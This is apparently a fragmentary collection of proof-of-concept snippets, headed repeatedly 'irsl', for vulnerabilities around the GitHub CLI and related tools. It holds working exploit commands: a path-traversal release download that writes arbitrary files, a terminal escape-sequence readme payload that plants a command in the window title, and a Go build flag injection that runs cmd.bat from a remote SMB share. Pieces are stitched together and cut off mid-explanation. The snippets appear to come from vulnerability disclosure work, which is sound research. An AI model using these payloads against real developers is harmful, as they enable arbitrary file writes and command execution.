irsl

# rm -rf /tmp/d; gh release download -R gcpexp.duckdns.org/irsl/pr-toctou v1.0.0 -D /tmp/d; ls -la /tmp/d
ls: cannot access '/tmp/d': No such file or directory
# cat /tmp/any-filename
arbitrary-content

irsl

./condisp.py --private-key ./privkey.pem  --certificate fullchain.pem --data-to-serve <(echo arbitrary-content) --destination-filename ../any-filename

irsl

? Choose a template  [Use arrows to move, type to filter]
  DEPRECATED old issue template use a new one instead
> Open a blank issue

irsl

gh repo clone irsl/legacy-template-poc
cd legacy-template-poc
gh issue create -t title

irsl

gh repo create legacy-template-poc --description "github issue template legacy poc"
gh repo clone legacy-template-poc
mkdir -p .github/ISSUE_TEMPLATE
cat >.github/ISSUE_TEMPLATE/custom.md <<'EOF'
---
name: DEPRECATED old issue template use a new one instead
about: Describe this issue template's purpose here.
title: default title
labels: ''
assignees: ''

irsl

echo -e '\x1Bk;echo this is an arbitrary command;                                                                                                                                     .\x1B\ \e[21t\x1Bk.                                                                                                                                                                                                                                             .\x1B\ \e[21t\e[21t\e[21t\e[21t\e[21t\e[21t\e[21t\e[21t\e[21t\e[21t\e[21t\x1Bk.                                                  View this repository on GitHub: https://www.github.com/irsl/terminal-escape2\x1B\ \e[21t' > readme

Explanation:
Code 479 BytesWrap lines Copy Download
\x1Bk;                                <- start setting the window title
;echo this is an arbitrary command;   <- the title itself - this is what we want to be executed after the victim presses the enter button
.                                     <- just a placeholder as otherwise the whitespaces would 

irsl

printf 'hello\n\x1B#8\nworld\n' > readme

irsl

cd script
go build build.go
cd ..
script\build.exe

irsl

echo proof > c:\projects\proof.txt

irsl

set GH_OAUTH_CLIENT_SECRET=something
set GH_OAUTH_CLIENT_ID=foobar -buildmode=c-archive -extar \\10.6.8.146\someshare\cmd.bat